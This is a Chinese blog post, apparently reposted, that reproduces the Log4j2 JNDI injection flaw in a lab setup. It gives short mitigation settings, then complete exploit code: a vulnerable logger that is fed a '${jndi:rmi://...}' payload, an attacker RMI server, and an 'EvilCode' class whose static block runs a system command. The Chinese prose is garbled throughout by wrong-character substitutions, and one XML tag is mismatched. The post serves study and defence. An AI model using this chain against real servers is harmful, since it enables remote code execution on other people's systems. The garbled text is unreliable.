关于java:Log4j2漏洞复现JNDI注入

62次阅读

共计 3578 个字符,预计需要花费 9 分钟才能阅读完成。

事件背景

2021 年 12 月 10 日凌晨前,网上曝出了 log4j2 的 核弹级 破绽,这种破绽 超级高危,操作简略,利用不便,适用范围广 ,能够间接 任意代码执行 接管你的服务器

简要阐明

Java JNDI 注入破绽,通过结构字段使 log4j2 日志拜访指定好的门路,执行任意代码。

长期修复

JVM 参数增加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

平安倡议

目前,Apache Log4j 曾经公布了新版原本修复该破绽,请受影响的用户将 Apache Log4j2 的所有相干应用程序降级至最新的 Log4j-2.15.0-rc2 版本,同时降级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。

简略复现

  1. 我复现的环境

    操作系统 windows10
    jdk: jdk1.8
  2. 目录构造

  1. 须要的依赖

    <dependencies>
    <!--log4j2 外围包 -->
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.0</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
    </dependency>
    <!-- 应用 yml 配置 log4j2-->
    <dependency>
    <groupId>com.fasterxml.jackson.dataformat</groupId>
    <artifactId>jackson-dataformat-yaml</artifactId>
    <version>2.12.3</version>
    </dependency>
    <!-- slf4j 外围包 -->
    <dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>1.7.32</version>
    </dependency>
    <!-- 用于与 slf4j 放弃桥接 -->
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-slf4j-impl</artifactId>
    <version>2.9.1</version>
    </dependency>
    </dependencies>
  2. 受害者服务器代码

    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    /**
    * 模仿运行存在破绽 log4j2 的服务器
    */
    public class ServerTest {private static final Logger logger = LoggerFactory.getLogger(ServerTest.class);
    public static void main(String[] args) {
    // 有些高版本 jdk 须要关上此行代码
    //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    // 模仿填写数据, 输出结构好的字符串, 使受益服务器打印日志时执行近程的代码 同一台能够应用 127.0.0.1
    String username = "${jndi:rmi://192.168.31.104:1099/evil}";
    // 失常打印业务日志
    logger.error("username:{}",username);
    }
    }
  3. 构建 RMI 服务来响应恶意代码

    • Java RMI,即 近程办法调用 (Remote Method Invocation),一种用于实现 近程过程调用 (RPC) 的 Java API,能间接传输序列化后的 Java 对象和分布式垃圾收集。它的实现依赖于(JVM),因而它仅反对从一个 JVM 到另一个 JVM 的调用。
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* 筹备好 RMI 服务端,期待受益服务器拜访
*/
public class RMIServer {public static void main(String[] args) {
try {
// 本地主机上的近程对象注册表 Registry 的实例, 默认端口 1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
// 返回的 Java 对象
Reference reference = new Reference("EvilCode","EvilCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 把近程对象注册到 RMI 注册服务器上,并命名为 evil
registry.bind("evil",referenceWrapper);
} catch (RemoteException | AlreadyBoundException | NamingException e) {e.printStackTrace();
}
}
}
  1. 恶意代码(关上计算器)

    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    /**
    * 执行任意的脚本,目前的脚本会使 windows 服务器关上计算器
    */
    public class EvilCode {
    static {System.out.println("受益服务器将执行上面命令行");
    Process p;
    String[] cmd = {"calc"};
    try {p = Runtime.getRuntime().exec(cmd);
    InputStream fis = p.getInputStream();
    InputStreamReader isr = new InputStreamReader(fis);
    BufferedReader br = new BufferedReader(isr);
    String line = null;
    while((line=br.readLine())!=null) {System.out.println(line);
    }
    } catch (IOException e) {e.printStackTrace();
    }
    }
    }
  2. 复现成果

Java17 实现的改变

影响的代码为上述第 4 步, 次要在于 java9 之后模块化的起因。

形式一:

  1. maven 的 pom 文件改变

    <build>
    <plugins>
    <plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-compiler-plugin</artifactId>
    <configuration>
    <source>17</source>
    <target>17</target>
    <compilerArgs>
    <arg>--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED</args>
    </compilerArgs>
    </configuration>
    </plugin>
    </plugins>
    </build>
  2. 增加 VM options:--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED

形式二:

https://segmentfault.com/q/10…

正文完
 0